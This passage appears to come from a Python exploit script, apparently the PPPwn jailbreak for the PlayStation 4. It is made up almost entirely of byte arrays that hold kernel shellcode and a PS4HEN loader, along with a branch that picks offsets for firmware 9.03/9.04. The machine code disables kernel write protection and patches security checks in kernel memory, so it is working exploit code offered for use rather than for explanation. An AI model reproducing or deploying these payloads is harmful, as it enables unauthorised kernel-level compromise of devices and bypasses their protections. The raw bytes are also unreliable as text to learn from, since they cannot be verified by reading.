230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,164,234,22,0,212,33,134,0,194,251,138,0,212,123,162,0,210,234,22,0,123,159,36,0,2,34,134,0,2,124,162,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw in ('903', '904'):
        offs = OffsetsFirmware_903_904()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,128,182,17,1,72,137,70,48,72,139,130,96,189,30,2,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,224,6,185,1,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,192,203,7,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,80,193,15,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,195,17,39,0,144,144,198,134,197,17,39,0,144,102,199,134,206,16,39,0,144,144,198,134,208,16,39,0,144,102,199,134,111,22,39,0,144,144,198,134,113,22,39,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,183,17,39,0,144,144,102,199,134,194,16,39,0,144,144,102,199,134,99,22,39,0,144,144,102,199,134,160,22,39,0,144,144,102,65,199,132,36,36,248,5,0,144,144,65,198,132,36,60,161,55,0,7,65,198,132,36,68,161,55,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,112,184,7,0,72,141,154,224,184,7,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,208,187,7,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,128,187,7,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,192,193,7,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,224,225,85,1,186,2,0,0,0,72,129,195,176,23,48,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,112,202,65,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,64,236,7,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,48,186,7,0,76,141,171,160,186,7,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,128,205,7,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,48,186,7,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,128,230,7,0,72,129,195,160,186,7,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,176,65,1,0,72,141,144,144,65,1,0,72,137,76,36,104,72,141,136,208,69,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,32,214,30,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,224,225,85,1,72,141,133,112,25,48,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,240,194,184,1,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,128,248,18,0,72,141,168,40,106,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,96,127,82,1,0,0,0,0,49,246,102,199,131,79,179,35,0,235,76,72,137,239,102,199,131,16,24,34,0,49,192,186,0,64,0,0,198,131,18,24,34,0,195,198,131,218,98,22,0,55,198,131,221,98,22,0,55,199,131,255,25,0,0,184,0,0,0,198,131,3,26,0,0,0,198,131,60,161,55,0,7,198,131,68,161,55,0,7,102,199,131,119,19,39,0,144,144,102,199,131,131,19,39,0,144,144,198,131,133,19,39,0,144,102,199,131,130,18,39,0,144,144,102,199,131,142,18,39,0,144,144,198,131,144,18,39,0,144,102,199,131,35,24,39,0,144,144,102,199,131,47,24,39,0,144,144,198,131,49,24,39,0,144,102,199,131,96,24,39,0,144,144,198,131,61,17,39,0,235,199,131,109,212,65,0,144,144,144,144,102,199,131,113,212,65,0,144,144,199,131,65,217,65,0,233,124,2,0,198,131,69,217,65,0,0,199,131,188,70,0,0,72,49,192,144,198,131,192,70,0,0,144,199,131,22,41,21,0,144,144,144,144,102,199,131,26,41,21,0,144,144,199,131,139,11,8,0,144,144,144,144,102,199,131,143,11,8,0,144,144,102,199,131,128,101,104,0,49,192,198,131,130,101,104,0,195,102,199,131,240,227,100,0,176,1,198,131,242,227,100,0,195,102,199,131,32,228,100,0,176,1,198,131,34,228,100,0,195,102,199,131,199,122,11,0,235,59,199,131,119,239,33,0,144,144,144,144,102,199,131,123,239,33,0,144,144,199,131,231,173,4,0,144,144,144,144,102,199,131,235,173,4,0,144,144,102,199,131,66,22,39,0,144,144,102,199,131,81,22,39,0,144,144,199,131,72,109,78,0,0,0,0,0,199,131,47,128,78,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,135,250,18,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,135,250,18,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,